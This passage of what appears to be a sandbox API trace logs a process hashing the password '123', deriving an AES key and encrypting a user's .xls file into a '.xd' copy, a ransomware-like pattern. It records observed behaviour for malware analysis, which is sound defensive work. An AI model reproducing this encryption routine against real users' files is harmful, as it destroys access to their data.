wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.656] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.657] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.657] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629360, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.658] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.658] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.658] CryptHashData (hHash=0x164c630, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.658] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.658] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.658] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.658] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.659] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.659] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0070.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.659] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.659] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.659] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.660] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.660] CryptDestroyHash (hHash=0x164c630) returned 1 [0070.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\luyf7iowxacty05djb.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.660] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.660] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.661] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\luyf7iowxacty05djb.xls.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.664] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.664] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xbb27, lpOverlapped=0x0) returned 1 [0070.666] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.668] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.669] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.669] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.669] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.669] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.669] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.669] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.670] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.670] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.670] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.670] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.670] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.670] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.671] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.671] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.671] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.671] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.671] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.672] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.672] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xbb27, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xbb30) returned 1 [0070.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.673] CharLowerBuffW (in: lpsz="byte[47921]", cchLength=0xb | out: lpsz="byte[47921]") returned 0xb [0070.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.674] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.674] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.675] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.675] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17dc648*, pdwDataLen=0x130e618*=0xbb27, dwBufLen=0xbb30 | out: pbData=0x17dc648*, pdwDataLen=0x130e618*=0xbb30) returned 1 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.675] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.675] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.676] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.676] PeekMessageW 